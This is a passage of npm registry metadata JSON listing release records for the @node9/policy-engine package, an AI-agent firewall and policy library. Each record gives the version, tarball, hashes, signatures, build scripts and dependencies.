ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c31d45587304876014e7a3cc98746f508f6cff7d","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.55.0_1782842228548_0.26436577262989247","host":"s3://npm-registry-packages-npm-production"}},"1.55.1":{"name":"@node9/policy-engine","version":"1.55.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.55.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"58278a02899281fd497a85db9d5c0404d72b03a4","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.55.1.tgz","fileCount":7,"integrity":"sha512-1/77roN8wTSLuX9nkmMOWcp2v9Lktc9AYm70Q+57LJA+QWB3IoZREaPE3sCqFhAvfUPWn/IBOPHQ/x2QLfefCg==","signatures":[{"sig":"MEUCIDjhju8B/Qm/Fuk37/i2fbddZKCljeN1sgD+RZ95+GBeAiEA72drBceriZ6LgiiZVMITQ/0b+ngjTZgUrblTsTsfyDM=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.55.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"f678df101f3be6aac1eaca1e67682c6d791810c3","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.55.1_1782847756317_0.47314412741892276","host":"s3://npm-registry-packages-npm-production"}},"1.56.0":{"name":"@node9/policy-engine","version":"1.56.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.56.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"64a37933559a4f372ccd8187ce560dc6e69fcef5","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.56.0.tgz","fileCount":7,"integrity":"sha512-4u3kyT1QywuYHx7RgSrxHEex2yH4KTCvHrFxcKkUEAJ9d6lqzKdcD7jHqVXCOuIDPZAHDwnncGHMPv5tu06lYA==","signatures":[{"sig":"MEUCIElAEFD8Ymb6FiDqmt74ulrqnPAU0KVo8sUXfgHi7s2vAiEA3xVyjjpAicw42zvM4b7YlWNXdVHgwwiyq2OsbKB6kfw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.56.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"0b98ce8d39f681817e3f34949fb5e026dc6ddccc","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.56.0_1783258281248_0.9675765750625991","host":"s3://npm-registry-packages-npm-production"}},"1.57.0":{"name":"@node9/policy-engine","version":"1.57.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.57.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"9adefe6cd101df340a9fdd8f31317ab48aba513e","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.57.0.tgz","fileCount":7,"integrity":"sha512-4mu4fFqlwdRqDqiCE2yJvzEtnt5UW4MUdBoX1teRRpCBoD2PuUO2Z2l9r/VzbP0Zp/p58X4wrzTIrn6riIiRTQ==","signatures":[{"sig":"MEQCIEDyjPqVMIJDTJ8z4exRvnJ9pnhlYXNhxHjXubvDIuDAAiAQrMWKjHiXBVFKjNZRjrJs9p5XhP5YHnkFluprsY0oKw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.57.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7c0a354f045be6f2767ce5e8e1881a12ed72af36","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.57.0_1783281725641_0.6317814947936884","host":"s3://npm-registry-packages-npm-production"}},"1.58.0":{"name":"@node9/policy-engine","version":"1.58.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.58.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"5aac8c74dda5fb2a17fc81028bfa116c8b8dfd8c","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.58.0.tgz","fileCount":7,"integrity":"sha512-VYsQVnco4iZianx0K2K7WFcaLiHuQv0Sbxfc5+OXiB+tqY00LrW2uhtBHYzn75DS24agdaEAZiPQjYVwgbnY2A==","signatures":[{"sig":"MEUCIQDs2ycXNIOTqz4lWTl/31slCYxi7CHOJj/hd7oUq+jgTgIgLwyFvYSj3AxUWgbZBXFuoNcsrMH+OFZY3RTQIhaqLK8=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.58.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"98060b34d49d9ec642582912c0e8d86e41899773","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.58.0_1783400487987_0.5696440034855939","host":"s3://npm-registry-packages-npm-production"}},"1.58.1":{"name":"@node9/policy-engine","version":"1.58.1","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.58.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"2261523b5dfcac8c42cfa75072a8e8453db34153","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.58.1.tgz","fileCount":7,"integrity":"sha512-C7xg/eb6hW2PawPlJrhIav6jqGyH0T04wAv9Zmk6pyXS9wpNUDNocCpnoaYZDvRD0IFHy6JSPhPRV8Kx5O42gw==","signatures":[{"sig":"MEUCIQDWOhNWeP4JfB8YYhGiuQ9RE2S2s8gTrFmwtryXxRSxqwIga8OjpFeDv2FUm8bqaBzaNVQEyEax9fYF9wD8ziXY1j4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.58.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"dd38bc4e0bfe2c1c3f75ec36f1f6fb10df79b3cf","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.58.1_1783405706554_0.9841619499755383","host":"s3://npm-registry-packages-npm-production"}},"1.58.2":{"name":"@node9/policy-engine","version":"1.58.2","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.58.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"1f47a2d9a14af4cdf0b4bd488f8fe76879fe33a8","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.58.2.tgz","fileCount":7,"integrity":"sha512-8s/6VS/6mtymPvmAf9KQfHD/cPfJhSC+dq3N8n8CaBiaTieUR4ahM5KQxkdrHA+fC4YuacihcUOKwogO+J1rWQ==","signatures":[{"sig":"MEUCIHZYREku5TiAxzMJcfCmJzrtNDk/a2TCXyzI9XkoGIj6AiEAuNXjgy44fl3Maie2hLjauYYR58O+CEnzYRsiLAMR9SU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.58.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a1f18b40ee3d345d2a652435f17a415388440381","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.58.2_1783418784412_0.8577609469647272","host":"s3://npm-registry-packages-npm-production"}},"1.58.3":{"name":"@node9/policy-engine","version":"1.58.3","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.58.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"50dd7c753956943b1a29dd76001daad42e7095e5","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.58.3.tgz","fileCount":7,"integrity":"sha512-m8Giy4mfufk2k/gZS24MRhWKnTuEoqFWYlF47cKFNoxE/IuHWZJx287O7uhtUrfqAJzgy0mJhKRRVO1h9feY5A==","signatures":[{"sig":"MEUCIQDc7TyquIP3wCKoyQmTPE7IBH1dAtDRqJBR55sDBNuobwIgGkWuksn/kNDiywPHLalRp+cghws/UEePRiwVj6vWUDI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.58.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"7c214a41c920e207dcdb29b66c1c8ed63e8ee8e0","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.58.3_1783422542353_0.18916486102034047","host":"s3://npm-registry-packages-npm-production"}},"1.58.4":{"name":"@node9/policy-engine","version":"1.58.4","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.58.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"f6f4cf3936cee6b3e1e03be973b592aa131d1a93","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.58.4.tgz","fileCount":7,"integrity":"sha512-f4QE6+NcngmLpiAEbvElbHJMj2Ywfl53r50YuzxNLlhN2dRTzRvw066JdACIEcMaFmpCAcbT6wTkgusqUhlj3Q==","signatures":[{"sig":"MEUCIQCBZJS/gkOccCZiIqEHQ0UB2ANmOGtz0Q1XRzl+tJbbfQIgPmKbx0ssRlG3LG0a+XSschwaxrWznUx604cw9kS5bz0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.58.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"442b35cdf938bc7eba4837b636c3e68ac6e7716b","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.58.4_1783440483297_0.033183680734011345","host":"s3://npm-registry-packages-npm-production"}},"1.58.5":{"name":"@node9/policy-engine","version":"1.58.5","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.58.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"15709e192ff3e9f1d164ad033bfd7d0b6fd22d69","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.58.5.tgz","fileCount":7,"integrity":"sha512-tV4e+9jGy0L4QRjyrkwiyIiF4J6Ivev5B5wGLl1uVZ7svtLVChcSlJ/ipW/riCIRPyw6jWJzAVT67YS+F2hXnA==","signatures":[{"sig":"MEYCIQClrrQF/eFhV2LvwxGvAYNz9ruPXVDeAYib3gQE6yGOCgIhAKpb84VIEo0vDWDBxrEGpzfQW+76Ord7kqbeUvf5av7q","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.58.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"843f7cd5535aed8dabb2620a3368516340dfa125","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"11.18.0","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.58.5_1783442282086_0.09334354942693901","host":"s3://npm-registry-packages-npm-production"}},"1.59.0":{"name":"@node9/policy-engine","version":"1.59.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.59.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"cea7b129df6bbb1332e41a5621d65e2fff0b552b","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.59.0.tgz","fileCount":7,"integrity":"sha512-ZPb8vTGE8pAJgejT+kz2uqSFAosiw3pCScwMywRe0VqxaWSoHXkSZMVevSV3jx0dj68sWgYvOh0pQzX2wuPTzw==","signatures":[{"sig":"MEYCIQCSvUrSs29OXH6z8ytmJRoWhcd46toicqMNMlPJBrpEPAIhAPUGqq80p64hcFpkf601KzUNNWJ6a1xr4qjLg9k/wsA1","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.59.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"43e999c88b0f9d8403642df79eeb1c8637080af9","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.59.0_1783712997407_0.5669541950917807","host":"s3://npm-registry-packages-npm-production"}},"1.60.0":{"name":"@node9/policy-engine","version":"1.60.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.60.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"5d413952c5e09810b022336c176d7fd2440287c8","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.60.0.tgz","fileCount":7,"integrity":"sha512-7q5y9C56WcFIapTzTC2bo+ErUyVnNimNadu6QyimGPqK08KV1sN99bbliXt290m9C+Mo7s8R75WuJk6M0BU1Ag==","signatures":[{"sig":"MEUCIAnfc6oRe363lYOUi0twjmRtbf+2kAAlSq3kJlWBv7ykAiEAlUTmOJM4Sk3pq9sEa+sYx7ojrbZgFEmw4/W2zBzYeC4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fpolicy-engine@1.60.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":366762},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e704d1d84efdee3af405062157017b4c5a2cbe07","scripts":{"test":"vitest --run","build":"tsup","typecheck":"tsc --noEmit","test:watch":"vitest"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:847867a4-de34-4b47-8847-6e8e3297df60"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git","directory":"packages/policy-engine"},"_npmVersion":"12.0.1","description":"Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"mvdan-sh":"^0.10.1","picomatch":"^4.0.3","safe-regex2":"^5.1.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.0.0","vitest":"^4.0.0","typescript":"^5.0.0","@types/picomatch":"^4.0.2"},"_npmOperationalInternal":{"tmp":"tmp/policy-engine_1.60.0_1783884038950_0.5414781433245484","host":"s3://npm-registry-packages-npm-production"}},"1.61.0":{"name":"@node9/policy-engine","version":"1.61.0","keywords":["node9","ai-security","policy","dlp","agent-firewall"],"license":"Apache-2.0","_id":"@node9/policy-engine@1.61.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://node9.ai","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"dist":{"shasum":"f875bdbb83d0d8ce054439b7fa01fabed739f65f","tarball":"https://registry.npmjs.org/@node9/policy-engine/-/policy-engine-1.61.0.tgz","fileCount":7,"integrity":"sha512-xiEGW9cewBU622hh44AnI/kqXt9UapUjo8IFVuX5FK9j0LOGIPNsaKlL4fJmL6kTaYjqxzu42LDgSPWZ0LnCng==","signatures":[{"sig":"MEUCIGV562NgyF+1EHZgIRNIosztFJ3GaU7nrnK+qPsQXjbqAiEA7btDfrnOTCYLPcLpWstT0pZcR/8AimuI9TnYlIbyu